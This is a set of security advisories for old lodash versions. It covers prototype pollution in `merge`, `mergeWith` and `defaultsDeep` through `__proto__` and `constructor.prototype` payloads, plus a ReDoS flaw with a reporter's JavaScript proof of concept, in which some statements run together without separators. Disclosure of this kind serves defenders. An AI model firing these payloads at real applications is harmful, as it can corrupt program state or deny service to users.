Package Instance

Prototype Pollution in lodash
Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.

Prototype Pollution in lodash
Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.

Prototype Pollution in lodash
Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.

Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions.

Steps to reproduce (provided by reporter Liyuan Chen):
```js
var lo = require('lodash');

function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
```